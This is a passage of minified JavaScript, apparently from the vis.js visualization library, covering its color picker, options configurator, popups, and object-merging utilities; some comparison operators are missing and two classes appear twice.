o=this;this.opacityRange.onchange=function(){o._setOpacity(this.value)},this.opacityRange.oninput=function(){o._setOpacity(this.value)},this.brightnessRange.onchange=function(){o._setBrightness(this.value)},this.brightnessRange.oninput=function(){o._setBrightness(this.value)},this.brightnessLabel=document.createElement("div"),this.brightnessLabel.className="vis-label vis-brightness",this.brightnessLabel.innerText="brightness:",this.opacityLabel=document.createElement("div"),this.opacityLabel.className="vis-label vis-opacity",this.opacityLabel.innerText="opacity:",this.newColorDiv=document.createElement("div"),this.newColorDiv.className="vis-new-color",this.newColorDiv.innerText="new",this.initialColorDiv=document.createElement("div"),this.initialColorDiv.className="vis-initial-color",this.initialColorDiv.innerText="initial",this.cancelButton=document.createElement("div"),this.cancelButton.className="vis-button vis-cancel",this.cancelButton.innerText="cancel",this.cancelButton.onclick=X(e=this._hide).call(e,this,!1),this.applyButton=document.createElement("div"),this.applyButton.className="vis-button vis-apply",this.applyButton.innerText="apply",this.applyButton.onclick=X(t=this._apply).call(t,this),this.saveButton=document.createElement("div"),this.saveButton.className="vis-button vis-save",this.saveButton.innerText="save",this.saveButton.onclick=X(i=this._save).call(i,this),this.loadButton=document.createElement("div"),this.loadButton.className="vis-button vis-load",this.loadButton.innerText="load last",this.loadButton.onclick=X(C=this._loadLast).call(C,this),this.frame.appendChild(this.colorPickerDiv),this.frame.appendChild(this.arrowDiv),this.frame.appendChild(this.brightnessLabel),this.frame.appendChild(this.brightnessDiv),this.frame.appendChild(this.opacityLabel),this.frame.appendChild(this.opacityDiv),this.frame.appendChild(this.newColorDiv),this.frame.appendChild(this.initialColorDiv),this.frame.appendChild(this.cancelButton),this.frame.appendChild(this.applyButton),this.frame.appendChild(this.saveButton),this.frame.appendChild(this.loadButton)}_bindHammer(){this.drag={},this.pinch={},this.hammer=new jc(this.colorPickerCanvas),this.hammer.get("pinch").set({enable:!0}),this.hammer.on("hammer.input",e=>{e.isFirst&&this._moveSelector(e)}),this.hammer.on("tap",e=>{this._moveSelector(e)}),this.hammer.on("panstart",e=>{this._moveSelector(e)}),this.hammer.on("panmove",e=>{this._moveSelector(e)}),this.hammer.on("panend",e=>{this._moveSelector(e)})}_generateHueCircle(){if(this.generated===!1){const e=this.colorPickerCanvas.getContext("2d");this.pixelRation===void 0&&(this.pixelRatio=(window.devicePixelRatio||1)/(e.webkitBackingStorePixelRatio||e.mozBackingStorePixelRatio||e.msBackingStorePixelRatio||e.oBackingStorePixelRatio||e.backingStorePixelRatio||1)),e.setTransform(this.pixelRatio,0,0,this.pixelRatio,0,0);const t=this.colorPickerCanvas.clientWidth,i=this.colorPickerCanvas.clientHeight;e.clearRect(0,0,t,i);let C,o,s,a;this.centerCoordinates={x:t*.5,y:i*.5},this.r=.49*t;const l=2*Math.PI/360,u=1/360,h=1/this.r;let p;for(s=0;s<360;s++)for(a=0;a3&&arguments[3]!==void 0?arguments[3]:1,o=arguments.length>4&&arguments[4]!==void 0?arguments[4]:()=>!1;this.parent=e,this.changedOptions=[],this.container=t,this.allowCreation=!1,this.hideOption=o,this.options={},this.initialized=!1,this.popupCounter=0,this.defaultOptions={enabled:!1,filter:!0,container:void 0,showButton:!0},ht(this.options,this.defaultOptions),this.configureOptions=i,this.moduleOptions={},this.domElements=[],this.popupDiv={},this.popupLimit=5,this.popupHistory={},this.colorPicker=new dG(C),this.wrapper=void 0}setOptions(e){if(e!==void 0){this.popupHistory={},this._removePopup();let t=!0;if(typeof e=="string")this.options.filter=e;else if(Re(e))this.options.filter=e.join();else if(typeof e=="object"){if(e==null)throw new TypeError("options cannot be null");e.container!==void 0&&(this.options.container=e.container),Et(e)!==void 0&&(this.options.filter=Et(e)),e.showButton!==void 0&&(this.options.showButton=e.showButton),e.enabled!==void 0&&(t=e.enabled)}else typeof e=="boolean"?(this.options.filter=!0,t=e):typeof e=="function"&&(this.options.filter=e,t=!0);Et(this.options)===!1&&(t=!1),this.options.enabled=t}this._clean()}setModuleOptions(e){this.moduleOptions=e,this.options.enabled===!0&&(this._clean(),this.options.container!==void 0&&(this.container=this.options.container),this._create())}_create(){this._clean(),this.changedOptions=[];const e=Et(this.options);let t=0,i=!1;for(const C in this.configureOptions)Object.prototype.hasOwnProperty.call(this.configureOptions,C)&&(this.allowCreation=!1,i=!1,typeof e=="function"?(i=e(C,[]),i=i||this._handleObject(this.configureOptions[C],[C],!0)):(e===!0||Ge(e).call(e,C)!==-1)&&(i=!0),i!==!1&&(this.allowCreation=!0,t>0&&this._makeItem([]),this._makeHeader(C),this._handleObject(this.configureOptions[C],[C])),t++);this._makeButton(),this._push()}_push(){this.wrapper=document.createElement("div"),this.wrapper.className="vis-configuration-wrapper",this.container.appendChild(this.wrapper);for(let e=0;e1?t-1:0),C=1;C{o.appendChild(s)}),this.domElements.push(o),this.domElements.length}return 0}_makeHeader(e){const t=document.createElement("div");t.className="vis-configuration vis-config-header",t.innerText=e,this._makeItem([],t)}_makeLabel(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1;const C=document.createElement("div");if(C.className="vis-configuration vis-config-label vis-config-s"+t.length,i===!0){for(;C.firstChild;)C.removeChild(C.firstChild);C.appendChild(Vc("i","b",e))}else C.innerText=e+":";return C}_makeDropdown(e,t,i){const C=document.createElement("select");C.className="vis-configuration vis-config-select";let o=0;t!==void 0&&Ge(e).call(e,t)!==-1&&(o=Ge(e).call(e,t));for(let l=0;ls&&s!==1&&(l.max=Math.ceil(t*1.2),h=l.max,u="range increased"),l.value=t):l.value=C;const p=document.createElement("input");p.className="vis-configuration vis-config-rangeinput",p.value=l.value;const m=this;l.onchange=function(){p.value=this.value,m._update(Number(this.value),i)},l.oninput=function(){p.value=this.value};const v=this._makeLabel(i[i.length-1],i),w=this._makeItem(i,v,l,p);u!==""&&this.popupHistory[w]!==h&&(this.popupHistory[w]=h,this._setupPopup(u,w))}_makeButton(){if(this.options.showButton===!0){const e=document.createElement("div");e.className="vis-configuration vis-config-button",e.innerText="generate options",e.onclick=()=>{this._printOptions()},e.onmouseover=()=>{e.className="vis-configuration vis-config-button hover"},e.onmouseout=()=>{e.className="vis-configuration vis-config-button"},this.optionsContainer=document.createElement("div"),this.optionsContainer.className="vis-configuration vis-config-option-container",this.domElements.push(this.optionsContainer),this.domElements.push(e)}}_setupPopup(e,t){if(this.initialized===!0&&this.allowCreation===!0&&this.popupCounter{this._removePopup()},this.popupCounter+=1,this.popupDiv={html:i,index:t}}}_removePopup(){this.popupDiv.html!==void 0&&(this.popupDiv.html.parentNode.removeChild(this.popupDiv.html),clearTimeout(this.popupDiv.hideTimeout),clearTimeout(this.popupDiv.deleteTimeout),this.popupDiv={})}_showPopupIfNeeded(){if(this.popupDiv.html!==void 0){const t=this.domElements[this.popupDiv.index].getBoundingClientRect();this.popupDiv.html.style.left=t.left+"px",this.popupDiv.html.style.top=t.top-30+"px",document.body.appendChild(this.popupDiv.html),this.popupDiv.hideTimeout=Ai(()=>{this.popupDiv.html.style.opacity=0},1500),this.popupDiv.deleteTimeout=Ai(()=>{this._removePopup()},1800)}}_makeCheckbox(e,t,i){const C=document.createElement("input");C.type="checkbox",C.className="vis-configuration vis-config-checkbox",C.checked=e,t!==void 0&&(C.checked=t,t!==e&&(typeof e=="object"?t!==e.enabled&&this.changedOptions.push({path:i,value:t}):this.changedOptions.push({path:i,value:t})));const o=this;C.onchange=function(){o._update(this.checked,i)};const s=this._makeLabel(i[i.length-1],i);this._makeItem(i,s,C)}_makeTextInput(e,t,i){const C=document.createElement("input");C.type="text",C.className="vis-configuration vis-config-text",C.value=t,t!==e&&this.changedOptions.push({path:i,value:t});const o=this;C.onchange=function(){o._update(this.value,i)};const s=this._makeLabel(i[i.length-1],i);this._makeItem(i,s,C)}_makeColorField(e,t,i){const C=e[1],o=document.createElement("div");t=t===void 0?C:t,t!=="none"?(o.className="vis-configuration vis-config-colorBlock",o.style.backgroundColor=t):o.className="vis-configuration vis-config-colorBlock none",t=t===void 0?C:t,o.onclick=()=>{this._showColorPicker(t,o,i)};const s=this._makeLabel(i[i.length-1],i);this._makeItem(i,s,o)}_showColorPicker(e,t,i){t.onclick=function(){},this.colorPicker.insertTo(t),this.colorPicker.show(),this.colorPicker.setColor(e),this.colorPicker.setUpdateCallback(C=>{const o="rgba("+C.r+","+C.g+","+C.b+","+C.a+")";t.style.backgroundColor=o,this._update(o,i)}),this.colorPicker.setCloseCallback(()=>{t.onclick=()=>{this._showColorPicker(e,t,i)}})}_handleObject(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:[],i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1,C=!1;const o=Et(this.options);let s=!1;for(const a in e)if(Object.prototype.hasOwnProperty.call(e,a)){C=!0;const l=e[a],u=Qs(t,a);if(typeof o=="function"&&(C=o(a,t),C===!1&&!Re(l)&&typeof l!="string"&&typeof l!="boolean"&&l instanceof Object&&(this.allowCreation=!1,C=this._handleObject(l,u,!0),this.allowCreation=i===!1)),C!==!1){s=!0;const h=this._getValue(u);if(Re(l))this._handleArray(l,h,u);else if(typeof l=="string")this._makeTextInput(l,h,u);else if(typeof l=="boolean")this._makeCheckbox(l,h,u);else if(l instanceof Object){if(!this.hideOption(t,a,this.moduleOptions))if(l.enabled!==void 0){const p=Qs(u,"enabled"),m=this._getValue(p);if(m===!0){const v=this._makeLabel(a,u,!0);this._makeItem(u,v),s=this._handleObject(l,u)||s}else this._makeCheckbox(l,m,u)}else{const p=this._makeLabel(a,u,!0);this._makeItem(u,p),s=this._handleObject(l,u)||s}}else console.error("dont know how to handle",l,a,u)}}return s}_handleArray(e,t,i){typeof e[0]=="string"&&e[0]==="color"?(this._makeColorField(e,t,i),e[1]!==t&&this.changedOptions.push({path:i,value:t})):typeof e[0]=="string"?(this._makeDropdown(e,t,i),e[0]!==t&&this.changedOptions.push({path:i,value:t})):typeof e[0]=="number"&&(this._makeRange(e,t,i),e[0]!==t&&this.changedOptions.push({path:i,value:Number(t)}))}_update(e,t){const i=this._constructOptions(e,t);this.parent.body&&this.parent.body.emitter&&this.parent.body.emitter.emit&&this.parent.body.emitter.emit("configChange",i),this.initialized=!0,this.parent.setOptions(i)}_constructOptions(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{},C=i;e=e==="true"?!0:e,e=e==="false"?!1:e;for(let o=0;oo-this.padding&&(l=!0),l?s=this.x-i:s=this.x,u?a=this.y-t:a=this.y}else a=this.y-t,a+t+this.padding>C&&(a=C-t-this.padding),ao&&(s=o-i-this.padding),s\s*\(/gm,"{anonymous}()@"):"Unknown Stack Trace",s=window.console&&(window.console.warn||window.console.log);return s&&s.call(window.console,i,o),n.apply(this,arguments)}}var ob=Ib(function(n,e,t){for(var i=Object.keys(e),C=0;C1?e-1:0),i=1;i2)return Us(lb(e[0],e[1]),...Qg(e).call(e,2));const i=e[0],C=e[1];if(i instanceof Date&&C instanceof Date)return i.setTime(C.getTime()),i;for(const o of PB(C))Object.prototype.propertyIsEnumerable.call(C,o)&&(C[o]===ab?delete i[o]:i[o]!==null&&C[o]!==null&&typeof i[o]=="object"&&typeof C[o]=="object"&&!Re(i[o])&&!Re(C[o])?i[o]=Us(i[o],C[o]):i[o]=cb(C[o]));return i}function cb(n){return Re(n)?jt(n).call(n,e=>cb(e)):typeof n=="object"&&n!==null?n instanceof Date?new Date(n.getTime()):Us({},n):n}function ub(n){for(const e of Je(n))n[e]===ab?delete n[e]:typeof n[e]=="object"&&n[e]!==null&&ub(n[e])}function Hs(){for(var n=arguments.length,e=new Array(n),t=0;t{const s=2091639*e+C*23283064365386963e-26;return e=t,t=i,i=s-(C=s|0)};return o.uint32=()=>o()*4294967296,o.fract53=()=>o()+(o()*2097152|0)*11102230246251565e-32,o.algorithm="Alea",o.seed=n,o.version="0.9",o}function A6(){const n=C6();let e=n(" "),t=n(" "),i=n(" ");for(let C=0;C>>0,C-=n,C*=n,n=C>>>0,C-=n,n+=C*4294967296}return(n>>>0)*23283064365386963e-26}}function I6(){const n=()=>{};return{on:n,off:n,destroy:n,emit:n,get(){return{set:n}}}}const jc=typeof window<"u"?window.Hammer||g6:function(){return I6()};function oi(n){var e;this._cleanupQueue=[],this.active=!1,this._dom={container:n,overlay:document.createElement("div")},this._dom.overlay.classList.add("vis-overlay"),this._dom.container.appendChild(this._dom.overlay),this._cleanupQueue.push(()=>{this._dom.overlay.parentNode.removeChild(this._dom.overlay)});const t=jc(this._dom.overlay);t.on("tap",Q(e=this._onTapOverlay).call(e,this)),this._cleanupQueue.push(()=>{t.destroy()});const i=["tap","doubletap","press","pinch","pan","panstart","panmove","panend"];De(i).call(i,C=>{t.on(C,o=>{o.srcEvent.stopPropagation()})}),document&&document.body&&(this._onClick=C=>{o6(C.target,n)||this.deactivate()},document.body.addEventListener("click",this._onClick),this._cleanupQueue.push(()=>{document.body.removeEventListener("click",this._onClick)})),this._escListener=C=>{("key"in C?C.key==="Escape":C.keyCode===27)&&this.deactivate()}}vm(oi.prototype),oi.current=null,oi.prototype.destroy=function(){this.deactivate();for(const t of Un(n=ni(e=this._cleanupQueue).call(e,0)).call(n)){var n,e;t()}},oi.prototype.activate=function(){oi.current&&oi.current.deactivate(),oi.current=this,this.active=!0,this._dom.overlay.style.display="none",this._dom.container.classList.add("vis-active"),this.emit("change"),this.emit("activate"),document.body.addEventListener("keydown",this._escListener)},oi.prototype.deactivate=function(){this.active=!1,this._dom.overlay.style.display="block",this._dom.container.classList.remove("vis-active"),document.body.removeEventListener("keydown",this._escListener),this.emit("change"),this.emit("deactivate")},oi.prototype._onTapOverlay=function(n){this.activate(),n.srcEvent.stopPropagation()};function o6(n,e){for(;n;){if(n===e)return!0;n=n.parentNode}return!1}const s6=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i,r6=/^#?([a-f\d])([a-f\d])([a-f\d])$/i,a6=/^rgb\( *(1?\d{1,2}|2[0-4]\d|25[0-5]) *, *(1?\d{1,2}|2[0-4]\d|25[0-5]) *, *(1?\d{1,2}|2[0-4]\d|25[0-5]) *\)$/i,l6=/^rgba\( *(1?\d{1,2}|2[0-4]\d|25[0-5]) *, *(1?\d{1,2}|2[0-4]\d|25[0-5]) *, *(1?\d{1,2}|2[0-4]\d|25[0-5]) *, *([01]|0?\.\d+) *\)$/i;function tn(n){if(n)for(;n.hasChildNodes()===!0;){const e=n.firstChild;e&&(tn(e),n.removeChild(e))}}function qA(n){return n instanceof String||typeof n=="string"}function db(n){return typeof n=="object"&&n!==null}function $n(n,e,t,i){let C=!1;i===!0&&(C=e[t]===null&&n[t]!==void 0),C?delete n[t]:n[t]=e[t]}function hb(n,e){let t=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1;for(const i in n)if(e[i]!==void 0)if(e[i]===null||typeof e[i]!="object")$n(n,e,i,t);else{const C=n[i],o=e[i];db(C)&&db(o)&&hb(C,o,t)}}function JA(n,e,t){let i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(Re(t))throw new TypeError("Arrays are not supported by deepExtend");for(let C=0;C3&&arguments[3]!==void 0?arguments[3]:!1;if(Re(t))throw new TypeError("Arrays are not supported by deepExtend");for(const C in t)if(Object.prototype.hasOwnProperty.call(t,C)&&!Ji(n).call(n,C))if(t[C]&&t[C].constructor===Object)e[C]===void 0&&(e[C]={}),e[C].constructor===Object?Xe(e[C],t[C]):$n(e,t,C,i);else if(Re(t[C])){e[C]=[];for(let o=0;o2&&arguments[2]!==void 0?arguments[2]:!1,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;for(const o in e)if(Object.prototype.hasOwnProperty.call(e,o)||t===!0)if(typeof e[o]=="object"&&e[o]!==null&&sy(e[o])===Object.prototype)n[o]===void 0?n[o]=Xe({},e[o],t):typeof n[o]=="object"&&n[o]!==null&&sy(n[o])===Object.prototype?Xe(n[o],e[o],t):$n(n,e,o,i);else if(Re(e[o])){var C;n[o]=Qg(C=e[o]).call(C)}else $n(n,e,o,i);return n}function Qs(n,e){return[...n,e]}function c6(n){return Qg(n).call(n)}function u6(n){return n.getBoundingClientRect().left}function d6(n){return n.getBoundingClientRect().top}function Ee(n,e){if(Re(n)){const t=n.length;for(let i=0;i3&&arguments[3]!==void 0?arguments[3]:{};const C=function(v){return v!=null},o=function(v){return v!==null&&typeof v=="object"},s=function(v){for(const w in v)if(Object.prototype.hasOwnProperty.call(v,w))return!1;return!0};if(!o(n))throw new Error("Parameter mergeTarget must be an object");if(!o(e))throw new Error("Parameter options must be an object");if(!C(t))throw new Error("Parameter option must have a value");if(!o(i))throw new Error("Parameter globalOptions must be an object");const a=function(v,w,D){o(v[D])||(v[D]={});const N=w[D],z=v[D];for(const k in N)Object.prototype.hasOwnProperty.call(N,k)&&(z[k]=N[k])},l=e[t],h=o(i)&&!s(i)?i[t]:void 0,p=h?h.enabled:void 0;if(l===void 0)return;if(typeof l=="boolean"){o(n[t])||(n[t]={}),n[t].enabled=l;return}if(l===null&&!o(n[t]))if(C(h))n[t]=$i(h);else return;if(!o(l))return;let m=!0;l.enabled!==void 0?m=l.enabled:p!==void 0&&(m=h.enabled),a(n,e,t),n[t].enabled=m}const p6={linear(n){return n},easeInQuad(n){return n*n},easeOutQuad(n){return n*(2-n)},easeInOutQuad(n){return n<.5?2*n*n:-1+(4-2*n)*n},easeInCubic(n){return n*n*n},easeOutCubic(n){return--n*n*n+1},easeInOutCubic(n){return n<.5?4*n*n*n:(n-1)*(2*n-2)*(2*n-2)+1},easeInQuart(n){return n*n*n*n},easeOutQuart(n){return 1- --n*n*n*n},easeInOutQuart(n){return n<.5?8*n*n*n*n:1-8*--n*n*n*n},easeInQuint(n){return n*n*n*n*n},easeOutQuint(n){return 1+--n*n*n*n*n},easeInOutQuint(n){return n<.5?16*n*n*n*n*n:1+16*--n*n*n*n*n}};function nn(n,e){let t;Re(e)||(e=[e]);for(const i of n)if(i){t=i[e[0]];for(let C=1;C0&&arguments[0]!==void 0?arguments[0]:1;this.pixelRatio=e,this.generated=!1,this.centerCoordinates={x:289/2,y:289/2},this.r=289*.49,this.color={r:255,g:255,b:255,a:1},this.hueCircle=void 0,this.initialColor={r:255,g:255,b:255,a:1},this.previousColor=void 0,this.applied=!1,this.updateCallback=()=>{},this.closeCallback=()=>{},this._create()}insertTo(e){this.hammer!==void 0&&(this.hammer.destroy(),this.hammer=void 0),this.container=e,this.container.appendChild(this.frame),this._bindHammer(),this._setSize()}setUpdateCallback(e){if(typeof e=="function")this.updateCallback=e;else throw new Error("Function attempted to set as colorPicker update callback is not a function.")}setCloseCallback(e){if(typeof e=="function")this.closeCallback=e;else throw new Error("Function attempted to set as colorPicker closing callback is not a function.")}_isColorString(e){if(typeof e=="string")return m6[e]}setColor(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;if(e==="none")return;let i;const C=this._isColorString(e);if(C!==void 0&&(e=C),qA(e)===!0){if(mb(e)===!0){const o=e.substr(4).substr(0,e.length-5).split(",");i={r:o[0],g:o[1],b:o[2],a:1}}else if(f6(e)===!0){const o=e.substr(5).substr(0,e.length-6).split(",");i={r:o[0],g:o[1],b:o[2],a:o[3]}}else if(pb(e)===!0){const o=Lc(e);i={r:o.r,g:o.g,b:o.b,a:1}}}else if(e instanceof Object&&e.r!==void 0&&e.g!==void 0&&e.b!==void 0){const o=e.a!==void 0?e.a:"1.0";i={r:e.r,g:e.g,b:e.b,a:o}}if(i===void 0)throw new Error("Unknown color passed to the colorPicker. Supported are strings: rgb, hex, rgba. Object: rgb ({r:r,g:g,b:b,[a:a]}). Supplied: "+YA(e));this._setColor(i,t)}show(){this.closeCallback!==void 0&&(this.closeCallback(),this.closeCallback=void 0),this.applied=!1,this.frame.style.display="block",this._generateHueCircle()}_hide(){(arguments.length>0&&arguments[0]!==void 0?arguments[0]:!0)===!0&&(this.previousColor=ht({},this.color)),this.applied===!0&&this.updateCallback(this.initialColor),this.frame.style.display="none",Ai(()=>{this.closeCallback!==void 0&&(this.closeCallback(),this.closeCallback=void 0)},0)}_save(){this.updateCallback(this.color),this.applied=!1,this._hide()}_apply(){this.applied=!0,this.updateCallback(this.color),this._updatePicker(this.color)}_loadLast(){this.previousColor!==void 0?this.setColor(this.previousColor,!1):alert("There is no last color to load...")}_setColor(e){(arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0)===!0&&(this.initialColor=ht({},e)),this.color=e;const i=LI(e.r,e.g,e.b),C=2*Math.PI,o=this.r*i.s,s=this.centerCoordinates.x+o*Math.sin(C*i.h),a=this.centerCoordinates.y+o*Math.cos(C*i.h);this.colorPickerSelector.style.left=s-.5*this.colorPickerSelector.clientWidth+"px",this.colorPickerSelector.style.top=a-.5*this.colorPickerSelector.clientHeight+"px",this._updatePicker(e)}_setOpacity(e){this.color.a=e/100,this._updatePicker(this.color)}_setBrightness(e){const t=LI(this.color.r,this.color.g,this.color.b);t.v=e/100;const i=Xs(t.h,t.s,t.v);i.a=this.color.a,this.color=i,this._updatePicker()}_updatePicker(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:this.color;const t=LI(e.r,e.g,e.b),i=this.colorPickerCanvas.getContext("2d");this.pixelRation===void 0&&(this.pixelRatio=(window.devicePixelRatio||1)/(i.webkitBackingStorePixelRatio||i.mozBackingStorePixelRatio||i.msBackingStorePixelRatio||i.oBackingStorePixelRatio||i.backingStorePixelRatio||1)),i.setTransform(this.pixelRatio,0,0,this.pixelRatio,0,0);const C=this.colorPickerCanvas.clientWidth,o=this.colorPickerCanvas.clientHeight;i.clearRect(0,0,C,o),i.putImageData(this.hueCircle,0,0),i.fillStyle="rgba(0,0,0,"+(1-t.v)+")",i.circle(this.centerCoordinates.x,this.centerCoordinates.y,this.r),OI(i).call(i),this.brightnessRange.value=100*t.v,this.opacityRange.value=100*e.a,this.initialColorDiv.style.backgroundColor="rgba("+this.initialColor.r+","+this.initialColor.g+","+this.initialColor.b+","+this.initialColor.a+")",this.newColorDiv.style.backgroundColor="rgba("+this.color.r+","+this.color.g+","+this.color.b+","+this.color.a+")"}_setSize(){this.colorPickerCanvas.style.width="100%",this.colorPickerCanvas.style.height="100%",this.colorPickerCanvas.width=289*this.pixelRatio,this.colorPickerCanvas.height=289*this.pixelRatio}_create(){var e,t,i,C;if(this.frame=document.createElement("div"),this.frame.className="vis-color-picker",this.colorPickerDiv=document.createElement("div"),this.colorPickerSelector=document.createElement("div"),this.colorPickerSelector.className="vis-selector",this.colorPickerDiv.appendChild(this.colorPickerSelector),this.colorPickerCanvas=document.createElement("canvas"),this.colorPickerDiv.appendChild(this.colorPickerCanvas),this.colorPickerCanvas.getContext){const s=this.colorPickerCanvas.getContext("2d");this.pixelRatio=(window.devicePixelRatio||1)/(s.webkitBackingStorePixelRatio||s.mozBackingStorePixelRatio||s.msBackingStorePixelRatio||s.oBackingStorePixelRatio||s.backingStorePixelRatio||1),this.colorPickerCanvas.getContext("2d").setTransform(this.pixelRatio,0,0,this.pixelRatio,0,0)}else{const s=document.createElement("DIV");s.style.color="red",s.style.fontWeight="bold",s.style.padding="10px",s.innerText="Error: your browser does not support HTML canvas",this.colorPickerCanvas.appendChild(s)}this.colorPickerDiv.className="vis-color",this.opacityDiv=document.createElement("div"),this.opacityDiv.className="vis-opacity",this.brightnessDiv=document.createElement("div"),this.brightnessDiv.className="vis-brightness",this.arrowDiv=document.createElement("div"),this.arrowDiv.className="vis-arrow",this.opacityRange=document.createElement("input");try{this.opacityRange.type="range",this.opacityRange.min="0",this.opacityRange.max="100"}catch{}this.opacityRange.value="100",this.opacityRange.className="vis-range",this.brightnessRange=document.createElement("input");try{this.brightnessRange.type="range",this.brightnessRange.min="0",this.brightnessRange.max="100"}catch{}this.brightnessRange.value="100",this.brightnessRange.className="vis-range",this.opacityDiv.appendChild(this.opacityRange),this.brightnessDiv.appendChild(this.brightnessRange);const o=this;this.opacityRange.onchange=function(){o._setOpacity(this.value)},this.opacityRange.oninput=function(){o._setOpacity(this.value)},this.brightnessRange.onchange=function(){o._setBrightness(this.value)},this.brightnessRange.oninput=function(){o._setBrightness(this.value)},this.brightnessLabel=document.createElement("div"),this.brightnessLabel.className="vis-label vis-brightness",this.brightnessLabel.innerText="brightness:",this.opacityLabel=document.createElement("div"),this.opacityLabel.className="vis-label vis-opacity",this.opacityLabel.innerText="opacity:",this.newColorDiv=document.createElement("div"),this.newColorDiv.className="vis-new-color",this.newColorDiv.innerText="new",this.initialColorDiv=document.createElement("div"),this.initialColorDiv.className="vis-initial-color",this.initialColorDiv.innerText="initial",this.cancelButton=document.createElement("div"),this.cancelButton.className="vis-button vis-cancel",this.cancelButton.innerText="cancel",this.cancelButton.onclick=Q(e=this._hide).call(e,this,!1),this.applyButton=document.createElement("div"),this.applyButton.className="vis-button vis-apply",this.applyButton.innerText="apply",this.applyButton.onclick=Q(t=this._apply).call(t,this),this.saveButton=document.createElement("div"),this.saveButton.className="vis-button vis-save",this.saveButton.innerText="save",this.saveButton.onclick=Q(i=this._save).call(i,this),this.loadButton=document.createElement("div"),this.loadButton.className="vis-button vis-load",this.loadButton.innerText="load last",this.loadButton.onclick=Q(C=this._loadLast).call(C,this),this.frame.appendChild(this.colorPickerDiv),this.frame.appendChild(this.arrowDiv),this.frame.appendChild(this.brightnessLabel),this.frame.appendChild(this.brightnessDiv),this.frame.appendChild(this.opacityLabel),this.frame.appendChild(this.opacityDiv),this.frame.appendChild(this.newColorDiv),this.frame.appendChild(this.initialColorDiv),this.frame.appendChild(this.cancelButton),this.frame.appendChild(this.applyButton),this.frame.appendChild(this.saveButton),this.frame.appendChild(this.loadButton)}_bindHammer(){this.drag={},this.pinch={},this.hammer=new jc(this.colorPickerCanvas),this.hammer.get("pinch").set({enable:!0}),this.hammer.on("hammer.input",e=>{e.isFirst&&this._moveSelector(e)}),this.hammer.on("tap",e=>{this._moveSelector(e)}),this.hammer.on("panstart",e=>{this._moveSelector(e)}),this.hammer.on("panmove",e=>{this._moveSelector(e)}),this.hammer.on("panend",e=>{this._moveSelector(e)})}_generateHueCircle(){if(this.generated===!1){const e=this.colorPickerCanvas.getContext("2d");this.pixelRation===void 0&&(this.pixelRatio=(window.devicePixelRatio||1)/(e.webkitBackingStorePixelRatio||e.mozBackingStorePixelRatio||e.msBackingStorePixelRatio||e.oBackingStorePixelRatio||e.backingStorePixelRatio||1)),e.setTransform(this.pixelRatio,0,0,this.pixelRatio,0,0);const t=this.colorPickerCanvas.clientWidth,i=this.colorPickerCanvas.clientHeight;e.clearRect(0,0,t,i);let C,o,s,a;this.centerCoordinates={x:t*.5,y:i*.5},this.r=.49*t;const l=2*Math.PI/360,u=1/360,h=1/this.r;let p;for(s=0;s<360;s++)for(a=0;a3&&arguments[3]!==void 0?arguments[3]:1,o=arguments.length>4&&arguments[4]!==void 0?arguments[4]:()=>!1;this.parent=e,this.changedOptions=[],this.container=t,this.allowCreation=!1,this.hideOption=o,this.options={},this.initialized=!1,this.popupCounter=0,this.defaultOptions={enabled:!1,filter:!0,container:void 0,showButton:!0},ht(this.options,this.defaultOptions),this.configureOptions=i,this.moduleOptions={},this.domElements=[],this.popupDiv={},this.popupLimit=5,this.popupHistory={},this.colorPicker=new v6(C),this.wrapper=void 0}setOptions(e){if(e!==void 0){this.popupHistory={},this._removePopup();let t=!0;if(typeof e=="string")this.options.filter=e;else if(Re(e))this.options.filter=e.join();else if(typeof e=="object"){if(e==null)throw new TypeError("options cannot be null");e.container!==void 0&&(this.options.container=e.container),wt(e)!==void 0&&(this.options.filter=wt(e)),e.showButton!==void 0&&(this.options.showButton=e.showButton),e.enabled!==void 0&&(t=e.enabled)}else typeof e=="boolean"?(this.options.filter=!0,t=e):typeof e=="function"&&(this.options.filter=e,t=!0);wt(this.options)===!1&&(t=!1),this.options.enabled=t}this._clean()}setModuleOptions(e){this.moduleOptions=e,this.options.enabled===!0&&(this._clean(),this.options.container!==void 0&&(this.container=this.options.container),this._create())}_create(){this._clean(),this.changedOptions=[];const e=wt(this.options);let t=0,i=!1;for(const C in this.configureOptions)Object.prototype.hasOwnProperty.call(this.configureOptions,C)&&(this.allowCreation=!1,i=!1,typeof e=="function"?(i=e(C,[]),i=i||this._handleObject(this.configureOptions[C],[C],!0)):(e===!0||Le(e).call(e,C)!==-1)&&(i=!0),i!==!1&&(this.allowCreation=!0,t>0&&this._makeItem([]),this._makeHeader(C),this._handleObject(this.configureOptions[C],[C])),t++);this._makeButton(),this._push()}_push(){this.wrapper=document.createElement("div"),this.wrapper.className="vis-configuration-wrapper",this.container.appendChild(this.wrapper);for(let e=0;e1?t-1:0),C=1;C{o.appendChild(s)}),this.domElements.push(o),this.domElements.length}return 0}_makeHeader(e){const t=document.createElement("div");t.className="vis-configuration vis-config-header",t.innerText=e,this._makeItem([],t)}_makeLabel(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1;const C=document.createElement("div");if(C.className="vis-configuration vis-config-label vis-config-s"+t.length,i===!0){for(;C.firstChild;)C.removeChild(C.firstChild);C.appendChild(Vc("i","b",e))}else C.innerText=e+":";return C}_makeDropdown(e,t,i){const C=document.createElement("select");C.className="vis-configuration vis-config-select";let o=0;t!==void 0&&Le(e).call(e,t)!==-1&&(o=Le(e).call(e,t));for(let l=0;ls&&s!==1&&(l.max=Math.ceil(t*1.2),h=l.max,u="range increased"),l.value=t):l.value=C;const p=document.createElement("input");p.className="vis-configuration vis-config-rangeinput",p.value=l.value;const m=this;l.onchange=function(){p.value=this.value,m._update(Number(this.value),i)},l.oninput=function(){p.value=this.value};const v=this._makeLabel(i[i.length-1],i),w=this._makeItem(i,v,l,p);u!==""&&this.popupHistory[w]!==h&&(this.popupHistory[w]=h,this._setupPopup(u,w))}_makeButton(){if(this.options.showButton===!0){const 